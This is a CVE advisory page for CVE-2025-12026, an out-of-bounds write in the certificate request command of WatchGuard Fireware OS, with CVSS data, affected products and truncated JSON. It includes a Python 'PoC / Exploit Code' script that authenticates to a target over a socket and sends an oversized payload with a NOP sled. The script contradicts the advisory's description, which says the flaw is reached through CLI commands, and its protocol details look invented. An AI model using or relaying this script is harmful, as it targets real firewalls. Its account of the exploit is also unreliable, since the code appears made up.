Security Vulnerability Report
中文
CVE-2025-12026 CVSS 7.2 HIGH

CVE-2025-12026

Published: 2025-12-04 22:15:47
Last Modified: 2025-12-10 15:41:35
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

An Out-of-bounds Write vulnerability in WatchGuard Fireware OS’s certificate request command could allow an authenticated privileged user to execute arbitrary code via specially crafted CLI commands.This vulnerability affects Fireware OS 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m440:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t15:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t35:-:*:*:*:*:*:*:* - NOT VULNERABLE
WatchGuard Fireware OS 12.0 <= 12.11.4
WatchGuard Fireware OS 12.5 <= 12.5.13
WatchGuard Fireware OS 2025.1 <= 2025.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12026 PoC - WatchGuard Fireware OS Certificate Request OOB Write Note: This PoC is for educational and authorized security testing purposes only. """ import socket import struct import sys def create_malicious_cert_request(): """Generate malicious certificate request with oversized field""" # Craft command header header = b'\x00\x01\x00\x00' # Certificate request command ID # Create oversized field that triggers OOB write # The vulnerability exists in certificate field length validation oversized_field = b'A' * 1024 # Exceeds expected buffer size # Malicious payload to control execution flow shellcode = b'\x90' * 100 # NOP sled shellcode += b'\xcc' * 50 # Breakpoints for debugging # Construct the malicious certificate request packet packet = header + struct.pack('<I', len(oversized_field)) packet += oversized_field + shellcode return packet def send_exploit(target_ip, target_port=4118): """Send exploit payload to WatchGuard device""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Step 1: Authenticate with high-privilege credentials auth_packet = b'AUTH\x00\x01' + b'admin\x00' + b'hash_of_password' sock.send(auth_packet) response = sock.recv(1024) if b'OK' not in response: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Send malicious certificate request print("[*] Sending malicious certificate request...") exploit_payload = create_malicious_cert_request() sock.send(exploit_payload) # Step 3: Receive response response = sock.recv(4096) if b'ERROR' in response: print("[-] Exploit failed - target may be patched") return False print("[+] Exploit sent - check for shell") return True except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] send_exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12026", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:46.777", "lastModified": "2025-12-10T15:41:34.917", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Out-of-bounds Write vulnerability in WatchGuard Fireware OS’s certificate request command could allow an authenticated privileged user to execute arbitrary code via specially crafted CLI commands.This vulnerability affects Fireware OS 12.0 up to and including 12.11.4, 12.5 up to and including 12.5.13, and 2025.1 up to and including 2025.1.2."}, {"lang": "es", "value": "Una vulnerabilidad de escritura fuera de límites en el comando de solicitud de certificado de WatchGuard Fireware OS podría permitir a un usuario privilegiado autenticado ejecutar código arbitrario mediante comandos CLI especialmente diseñados. Esta vulnerabilidad afecta a Fireware OS 12.0 hasta e incluyendo 12.11.4, 12.5 hasta e incluyendo 12.5.13, y 2025.1 hasta e incluyendo 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.11.5", "matchCriteriaId": "8A7E5749-EB5F-41C5-8CD9-1C4A0FF6E738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2. ... (truncated)